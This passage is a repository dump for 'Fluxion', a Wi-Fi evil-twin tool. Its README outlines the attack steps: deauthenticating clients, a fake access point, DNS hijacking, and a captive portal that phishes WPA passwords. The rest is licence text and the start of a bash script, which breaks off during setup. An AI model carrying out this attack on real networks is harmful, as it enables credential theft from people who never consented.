[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 Mr. SAGE\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE."
  },
  {
    "path": "README.md",
    "content": "# Fluxion by Mr. SAGE \n\n<p align=\"center\"><img src=\"https://github.com/thehackingsage/Fluxion/blob/master/logos/Logo.png?raw=true\" /></p>\n\n\"Fluxion is the Future of MITM WPA Attacks\" It is a remake by Mr. SAGE with less bugs and more functionality. It's compatible with the latest release of Kali (rolling). The attack is mostly manual, but experimental versions will automatically handle most functionality from the stable releases. (https://thehackingsage.github.io/Fluxion/)\n\n## How It Works :\n\n* Scan the networks.\n* Capture a handshake (can't be used without a valid handshake, it's necessary to verify the password)\n* Use WEB Interface\n* Launch a FakeAP instance to imitate the original access point\n* Spawns a MDK3 process, which deauthenticates all users connected to the target network, so they can be lured to connect to the FakeAP and enter the WPA password.\n* A fake DNS server is launched in order to capture all DNS requests and redirect them to the host running the script\n* A captive portal is launched in order to serve a page, which prompts the user to enter their WPA password\n* Each submitted password is verified by the handshake captured earlier\n* The attack will automatically terminate, as soon as a correct password is submitted..\n\n## How To Install? & How To Use? :\nWatch This Tutorial : [Click Here](https://www.youtube.com/watch?v=i6VN5C2qLK4) (Tutorial in Hindi)\n\n## Changelog :\nFluxion gets weekly updates with new features, improvements and bugfixes.\nBe sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).\n\n## Requirements :\nA Linux-based operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali 2 & 2016 support the latest aircrack-ng versions. An external wifi card is recommended.\n\n## Disclaimer :\n\nFluxion is intended to be used for legal security purposes only, and you should only use it to protect networks/hosts you own or have permission to test. Any other use is not the responsibility of the developer(s).  Be sure that you understand and are complying with the Fluxion licenses and laws in your area.  In other words, don't be stupid, don't be an asshole, and use this tool responsibly and legally.\n\n# License :\n\n[MIT Licence](https://github.com/thehackingsage/Fluxion/blob/master/LICENSE)\n\nThats It... If You Like This Repo. Please Share This With Your Friends..\n\n& Don't Forget To Follow Me At [Twitter](https://www.twitter.com/thehackingsage), [Instagram](https://www.instagram.com/thehackingsage), [Github](https://www.github.com/thehackingsage) & Don't Forget To SUBSCRIBE My [YouTube](https://www.youtube.com/channel/UCYK1n9A4TUq1CvGc6F3DzoA) Channel..!!!\n\n***Thankyou.***\n***Keep Visiting..***\n***Enjoy.!!! :)***\n"
  },
  {
    "path": "_config.yml",
    "content": "theme: jekyll-theme-hacker"
  },
  {
    "path": "docs/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "docs/changelog",
    "content": "----------------------- General ----------------------- \nrevision=1\nModified by Mr. SAGE (@thehackingsage)\n\n---------------------- Changelog ---------------------- \n\n[Version: 2 , Revision 1]\n\n- rewrite code\n- move files\n\t- exitmode to lib/\n\t- source files to language\n\n- improve handeling \n- remove disclaimer\n- remove git support\n- add checkupdate function\n- fix airmon file \n\n---------------------- Changelog ---------------------- \n"
  },
  {
    "path": "fluxion.sh",
    "content": "#!/bin/bash\n\n########## DEBUG Mode ##########\nif [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0\n    else FLUX_DEBUG=1\nfi\n################################\n\n####### preserve network #######\nif [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0\n    else KEEP_NETWORK=1\nfi\n################################\n\n###### AUTO CONFIG SETUP #######\nif [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0\n    else FLUX_AUTO=1\nfi\n################################\n\nif [[ $EUID -ne 0 ]]; then\n        echo -e \"\\e[1;31mYou don't have admin privilegies, execute the script as root.\"\"\\e[0m\"\"\"\n        exit 1\nfi\n\nif [ -z \"${DISPLAY:-}\" ]; then\n    echo -e \"\\e[1;31mThe script should be exected inside a X (graphical) session.\"\"\\e[0m\"\"\"\n    exit 1\nfi\n\nclear\n\n##################################### < CONFIGURATION  > #####################################\nDUMP_PATH=\"/tmp/TMPflux\"\nHANDSHAKE_PATH=\"/root/handshakes\"\nPASSLOG_PATH=\"/root/pwlog\"\nWORK_DIR=`pwd`\nDEAUTHTIME=\"9999999999999\"\nrevision=9\nversion=2\nIP=192.168.1.1\nRANG_IP=$(echo $IP | cut -d \".\" -f 1,2,3)\n\n#Colors\nwhite=\"\\033[1;37m\"\ngrey=\"\\033[0;37m\"\npurple=\"\\033[0;35m\"\nred=\"\\033[1;31m\"\ngreen=\"\\033[1;32m\"\nyellow=\"\\033[1;33m\"\nPurple=\"\\033[0;35m\"\nCyan=\"\\033[0;36m\"\nCafe=\"\\033[0;33m\"\nFiuscha=\"\\033[0;35m\"\nblue=\"\\033[1;34m\"\ntransparent=\"\\e[0m\"\n\ngeneral_back=\"Back\"\ngeneral_error_1=\"Not_Found\"\ngeneral_case_error=\"Unknown option. Choose again\"\ngeneral_exitmode=\"Cleaning and closing\"\ngeneral_exitmode_1=\"Disabling monitoring interface\"\ngeneral_exitmode_2=\"Disabling interface\"\ngeneral_exitmode_3=\"Disabling \"$grey\"forwarding of 